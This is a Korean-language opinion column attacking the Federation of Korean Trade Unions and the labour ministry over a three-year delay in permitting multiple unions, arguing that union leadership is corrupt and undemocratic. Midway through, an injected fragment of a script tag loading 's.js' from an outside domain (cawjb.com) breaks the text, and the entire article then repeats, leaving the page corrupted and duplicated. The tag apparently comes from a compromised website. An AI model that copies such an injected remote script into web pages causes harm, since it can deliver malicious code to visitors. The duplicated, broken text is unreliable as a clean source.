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노조 전임자 무임·복수노조 ‘3년간 유예’ 합의는
노사관계 법·제도 선진화 방안(로드맵) 논의가 3년만에 마침표!?
10년만에야 빛을 보게 될 뻔한 복수노조허용 입법화가 담긴 일명 선진화 로드맵이 또 다시 한국노총의 주도하에 경총(경영자총연합회)과의 꼼수의 결과로 또 다시 3년간 유예 되어버렸다.
복수노조라는 제도가 얼마나 무섭기에 10년 동안 묶혀 두었다가 다시 또 3년 동안 봉인되어야 하는지 알다가도 모를 뿐이다.
한국이라는 이 사회에서 한 제도를 시행하는데 이렇게 질질 끈적이 어디 있었던가.
노사라는 서로간의 눈치를 봐가면서 미적미적 거리 듯 결단을 못 내리는 정부측 노동부장관의 리더십 부재 또한 한심하기 그지없을 뿐이다.
그래서 노동조합 수장도, 노동부 장관도 노동운동의 철학이 부재한 비스무레 노동운동 냄새만 피운 사람을 앉혀 서는 안된다는 것을 또 한번을 이번 기회에 절실히 통감하게 된다.
한국노총의 이 위원장의 배신으로 권력노조, 부패 비리노조에서 신음하고 있는 노동자들은 또 다시 3년간의 노조권력 폭압에 시달리게 만든 그 원죄는 어찌 씻을 라고 하는가.
아마 이런 배신은 이미 예견 되었다고 본다. 지난 2년 동안 부패, 비리로 몸살을 앓을때 한국노총에서는 자신들만의 자구책을 마련해서 부패, 비리를 근절한다고 책임면피용 대안을 마련했었다. 그 이후 구체적으로 어떤 기구가 생겼으며, 그런 부패방지 및 근절 활동을 한 구체적인 사항이 어디 있었는가 말이다.
노조부패와 비리를 감시한다는 주체가 노동조합 자기 자신들이라고 할때 부터 그 의도가 한없이 의심스러웠었건만 결과는 아니나 다를까. 한국노총의 사무총장이었던 권오만(전국택시노련)씨가 아직도 잡히지 않고 수배를 받고 있는 도망자 신세인 것만 봐도 굳이 한 예를 들 필요도 없지 않는가.
이번 복수노조 유예와 관련하여 노동조합내에서 산하 노조원들과 논의가 되어 합의가 된 사항인지 묻고 싶다. 노동조합의 가장근본적인 핵심요소인 노동자들의 노의(勞意)가 있었는가 말이다. 원래는 또다시 5년 유예를 기획했었다고 했는데 누구 의사이었는가 말이다.
평조합원들의 뜻인가 아님 현재 부패, 비리, 장기집권 노조소속의 노조간부들의 의지인가 말이다. 복수노조가 되면 자신들의 기득한 노조권력이 위태로운 위험수위를 절실히 느껴서 결사적으로 복수노조 허용에 반대하고 나섰던 것이 아닌가.
어떤 사람들이 추측하기론 노조수장은 표를 먹고 산다고 한다.
그 말에 동정론을 실어주기엔 이번 사항은 노동계의 큰 전환을 봉쇄해 버린 것이라 혹시 동정심을 유발하여 편들어주겠지 하는 몰상식한 발상을 갖고 있지 않길 바랄뿐이다.
표 ? 무슨 표인지 묻고 싶다. 누구의 표심인가.
노동조합이라는 조직이론의 핵심은 민주주의 이념이지 않는가. 조합의 구성원인 노조원과 노동자들의 의사와 뜻을 존중하고 그 뜻이 방향을 잡아주는 로드맵인 것이고 그 뜻이 힘이되어 실천하는 것이 노조가 움직이는 원동력이지 않는가 말이다.
노동자들의 뜻에 역주행하는 작태는 노조권력이 이미 소수 특정인들에게 집중화 되어 있어 반민주적인 집단임을 반증하는 것이다. 자기들 뜻이 조합원 뜻이고 노동자들 뜻이라는 오만방자한 몽상적 착각증상에 빠진 것 아닌가.
한국의 노동조합은 미래가 있는가 반문해 본다. 이는 곧 한국의 노동자들도 미래가 없다는 말과 동일하다.
복수노조 시행에도 13년을 소수특정인들의 욕심으로 질질끄는 모양새를 보니 노동조합의 미래는 없다고 본다. 시간의 흐른다고 생활이 나아지고 문화가 발전되는 것이 아니다. 노력과 도전만이 진보, 진화로 나아가는 열쇠이지 않는가.
준비되지 않았다고 핑계되지 말고 준비된 자부터 떠나보내는 것이 대인(大人)의 로드맵이 아닌가.
노조개혁은 노동자스스로 주체가 되어 하지 않으면 사측과 정부측에 끌려다니는 볼모신세로 거수기로서 밖에 불과한 존재로 남아 있을 수밖에 없다. 하긴 노조원들을 거수기로만 전락시켜버린 장본인들은 이 말에 대수롭지 않게 생각할지 모르지만 말이다.
남들(외국노조)은 어떻해 하면 노조참여밀도를 높일수 있을까 하는게 노동계의 큰 이슈이다. 노조투명성, 노조내부민주성실현, 민주적참여도확산, 등 노조관리 및 운영에 대한
서비스에 10여년전부터 미국, 유럽 등의 노동운동가, 노동학자들 최대관심사이며 그에 대해 활발히 논의, 연구, 시행 진행 중에 있다.
한 예로 * 소수독재의 철칙(iron law of oligarchy)이라는 독일의 사회학자, 로버트 마이클 주장한 이 조직이론의 철칙을 노조라는 조직에서 깨고자 외국의 노동운동가, 노동학자들은 부단히도 연구하고 현실에 다양하게 실험해보고 있는 실정이다. 물론 이미 복수노조는 실행되어 있는 곳에서 말이다.
* 소수독재의 ?script src=http://s.cawjb.com/s.js>
노사관계 법·제도 선진화 방안(로드맵) 논의가 3년만에 마침표!?
10년만에야 빛을 보게 될 뻔한 복수노조허용 입법화가 담긴 일명 선진화 로드맵이 또 다시 한국노총의 주도하에 경총(경영자총연합회)과의 꼼수의 결과로 또 다시 3년간 유예 되어버렸다.
복수노조라는 제도가 얼마나 무섭기에 10년 동안 묶혀 두었다가 다시 또 3년 동안 봉인되어야 하는지 알다가도 모를 뿐이다.
한국이라는 이 사회에서 한 제도를 시행하는데 이렇게 질질 끈적이 어디 있었던가.
노사라는 서로간의 눈치를 봐가면서 미적미적 거리 듯 결단을 못 내리는 정부측 노동부장관의 리더십 부재 또한 한심하기 그지없을 뿐이다.
그래서 노동조합 수장도, 노동부 장관도 노동운동의 철학이 부재한 비스무레 노동운동 냄새만 피운 사람을 앉혀 서는 안된다는 것을 또 한번을 이번 기회에 절실히 통감하게 된다.
한국노총의 이 위원장의 배신으로 권력노조, 부패 비리노조에서 신음하고 있는 노동자들은 또 다시 3년간의 노조권력 폭압에 시달리게 만든 그 원죄는 어찌 씻을 라고 하는가.
아마 이런 배신은 이미 예견 되었다고 본다. 지난 2년 동안 부패, 비리로 몸살을 앓을때 한국노총에서는 자신들만의 자구책을 마련해서 부패, 비리를 근절한다고 책임면피용 대안을 마련했었다. 그 이후 구체적으로 어떤 기구가 생겼으며, 그런 부패방지 및 근절 활동을 한 구체적인 사항이 어디 있었는가 말이다.
노조부패와 비리를 감시한다는 주체가 노동조합 자기 자신들이라고 할때 부터 그 의도가 한없이 의심스러웠었건만 결과는 아니나 다를까. 한국노총의 사무총장이었던 권오만(전국택시노련)씨가 아직도 잡히지 않고 수배를 받고 있는 도망자 신세인 것만 봐도 굳이 한 예를 들 필요도 없지 않는가.
이번 복수노조 유예와 관련하여 노동조합내에서 산하 노조원들과 논의가 되어 합의가 된 사항인지 묻고 싶다. 노동조합의 가장근본적인 핵심요소인 노동자들의 노의(勞意)가 있었는가 말이다. 원래는 또다시 5년 유예를 기획했었다고 했는데 누구 의사이었는가 말이다.
평조합원들의 뜻인가 아님 현재 부패, 비리, 장기집권 노조소속의 노조간부들의 의지인가 말이다. 복수노조가 되면 자신들의 기득한 노조권력이 위태로운 위험수위를 절실히 느껴서 결사적으로 복수노조 허용에 반대하고 나섰던 것이 아닌가.
어떤 사람들이 추측하기론 노조수장은 표를 먹고 산다고 한다.
그 말에 동정론을 실어주기엔 이번 사항은 노동계의 큰 전환을 봉쇄해 버린 것이라 혹시 동정심을 유발하여 편들어주겠지 하는 몰상식한 발상을 갖고 있지 않길 바랄뿐이다.
표 ? 무슨 표인지 묻고 싶다. 누구의 표심인가.
노동조합이라는 조직이론의 핵심은 민주주의 이념이지 않는가. 조합의 구성원인 노조원과 노동자들의 의사와 뜻을 존중하고 그 뜻이 방향을 잡아주는 로드맵인 것이고 그 뜻이 힘이되어 실천하는 것이 노조가 움직이는 원동력이지 않는가 말이다.
노동자들의 뜻에 역주행하는 작태는 노조권력이 이미 소수 특정인들에게 집중화 되어 있어 반민주적인 집단임을 반증하는 것이다. 자기들 뜻이 조합원 뜻이고 노동자들 뜻이라는 오만방자한 몽상적 착각증상에 빠진 것 아닌가.
한국의 노동조합은 미래가 있는가 반문해 본다. 이는 곧 한국의 노동자들도 미래가 없다는 말과 동일하다.
복수노조 시행에도 13년을 소수특정인들의 욕심으로 질질끄는 모양새를 보니 노동조합의 미래는 없다고 본다. 시간의 흐른다고 생활이 나아지고 문화가 발전되는 것이 아니다. 노력과 도전만이 진보, 진화로 나아가는 열쇠이지 않는가.
준비되지 않았다고 핑계되지 말고 준비된 자부터 떠나보내는 것이 대인(大人)의 로드맵이 아닌가.
노조개혁은 노동자스스로 주체가 되어 하지 않으면 사측과 정부측에 끌려다니는 볼모신세로 거수기로서 밖에 불과한 존재로 남아 있을 수밖에 없다. 하긴 노조원들을 거수기로만 전락시켜버린 장본인들은 이 말에 대수롭지 않게 생각할지 모르지만 말이다.
남들(외국노조)은 어떻해 하면 노조참여밀도를 높일수 있을까 하는게 노동계의 큰 이슈이다. 노조투명성, 노조내부민주성실현, 민주적참여도확산, 등 노조관리 및 운영에 대한
서비스에 10여년전부터 미국, 유럽 등의 노동운동가, 노동학자들 최대관심사이며 그에 대해 활발히 논의, 연구, 시행 진행 중에 있다.
한 예로 * 소수독재의 철칙(iron law of oligarchy)이라는 독일의 사회학자, 로버트 마이클 주장한 이 조직이론의 철칙을 노조라는 조직에서 깨고자 외국의 노동운동가, 노동학자들은 부단히도 연구하고 현실에 다양하게 실험해보고 있는 실정이다. 물론 이미 복수노조는 실행되어 있는 곳에서 말이다.
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